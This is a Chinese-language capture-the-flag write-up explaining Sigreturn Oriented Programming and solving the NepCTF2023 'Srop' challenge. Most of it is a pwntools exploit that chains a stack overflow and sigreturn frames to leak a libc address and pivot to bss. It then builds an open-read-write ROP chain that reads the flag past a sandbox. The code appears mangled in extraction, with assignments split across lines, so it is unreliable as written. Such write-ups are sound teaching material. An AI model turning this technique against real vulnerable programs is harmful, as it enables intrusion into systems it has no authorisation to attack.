SROP
简单介绍
SROP
,即 Sigreturn Oriented Programming,正是利用了 Sigreturn
机制的弱点,来进行攻击。
在执行 sigreturn
系统调用的时候,不会对 signal 做检查
简单来说就是通过sigreturn
的系统调用0xf
的syscall
,将所有寄存器恢复成预先设置好的样子。通过栈溢出设定,从而达成控制程序的目的。出内核态时候而sigreturn
本身是用来恢复上下文的
NepCTF2023 Srop
先checksec
RELRO
全开 got
表不能改;NX
开,栈不可执行
题目给了ld
和libc
,设置一下
patchelf --set-interpreter ld路径 ./pwn
patchelf --replace-needed libc.so.6 libc路径 ./pwn
ldd ./pwn
题目本身给的代码很简单
一个简单的系统调用read
栈溢出
此处贴出常用系统调用
函数 | 调用号 |
---|---|
read |
0 |
write |
1 |
open |
2 |
rt_sigreturn |
0xf |
execve |
59 |
同时注意到开了沙箱
目标就明确了 使用srop
通过orw
进行flag
的读取
看一下syscall
对准一下寄存器
贴出exp
from pwn import *
from pwn import p64,u64
= 1
debug = 1
gdb_is # context(arch='i386',os = 'linux', log_level='DEBUG')
='amd64',os = 'linux')
context(archif debug:
= ['/mnt/c/Users/sagiriking/AppData/Local/Microsoft/WindowsApps/wt.exe','nt','Ubuntu','-c']
context.terminal = process("./pwn")
r
else:
= "nepctf.1cepeak.cn"
host = connect(host,32552)#远程连接
r =0
gdb_is
if gdb_is:
# gdb.attach(r,'b* 0x00401571')
gdb.attach(r)
pause()pass
= ELF('./pwn')
elf = ELF('./libc-2.27.so')
libc = 0x000400813
pop_rdi = 0x000400811
pop_rsi_r15
= 0x601050
bss_addr = bss_addr + 0x8
base_addr = elf.sym['syscall']
syscall_addr = b'A'* 48 + b'junkjunk'
payload= elf.got['syscall']
syscall_got
#使用pwntools的SigreturnFrame()帮助构造结构体
= SigreturnFrame()
frame_write = 1
frame_write.rdi = 1
frame_write.rsi = syscall_got #泄露libc地址
frame_write.rdx = 0x8
frame_write.rcx = syscall_addr
frame_write.rip = base_addr + 0xF0 + 0x8 * 4 #一个SigreturnFrame()大小0xF0 控制栈顶
frame_write.rsp
= SigreturnFrame()
frame_read_data = 0 #由于syscall之前对寄存器做了移位,所以不是rax
frame_read_data.rdi = 0
frame_read_data.rsi = bss_addr
frame_read_data.rdx = 0x228
frame_read_data.rcx = base_addr #由于不知道栈的地址,将其迁移到bss段进行控制
frame_read_data.rsp = syscall_addr #直接调用syscall运行设置的函数
frame_read_data.rip
+= p64(pop_rdi)+ p64(0xf) +p64(syscall_addr) + bytes(frame_read_data)
payload
r.send(payload)1)
time.sleep(
#----------------------------------------
= SigreturnFrame()
frame_read_data = 0
frame_read_data.rdi = 0
frame_read_data.rsi = bss_addr
frame_read_data.rdx = 0x8 * 30
frame_read_data.rcx = base_addr - 0x8
frame_read_data.rsp = syscall_addr
frame_read_data.rip
= p64(pop_rdi)+ p64(0xf) +p64(syscall_addr) + bytes(frame_read_data)
payload_read
= p64(0) + p64(pop_rdi)+ p64(0xf) +p64(syscall_addr) + bytes(frame_write) + payload_read
payload
r.send(payload)#泄露libc地址
#----------------------------------------
= u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_syscall_addr = libc_syscall_addr - libc.sym['syscall']
libc.address f'libc_syscall_addr = {hex(libc_syscall_addr)}')
info(f'system = {hex(libc.sym["system"])}')
info(
= 0x00023a6a + libc.address
pop_rsi = 0x000001b96 + libc.address
pop_rdx = 0x0011B537 + libc.address #此处将syscall的移位去掉了
syscall_addr = 0x001b500 + libc.address
pop_rax
1)
time.sleep(#ORW
= p64(pop_rdi) + p64(bss_addr + 0x8 * 25) + p64(pop_rsi) + p64(0)+ p64(pop_rax) + p64(2) + p64(syscall_addr)
payload #0x00601009找的data段的地址
+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(0x00601009) + p64(pop_rdx) + p64(0x40) + p64(pop_rax) + p64(0) + p64(syscall_addr)
payload
+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(0x00601009) + p64(pop_rdx) + p64(0x40) + p64(pop_rax) + p64(1) + p64(syscall_addr)
payload += b'flag'.ljust(8, b'\x00')
payload #bss_addr + 0x8 * 25 是flag的位置
r.send(payload) r.interactive()
srop
控制后泄露libc
地址,再使用orw
打印出flag
。
泄露libc
目的:
泄露libc
后可利用的rop gadget
更多了,方便orw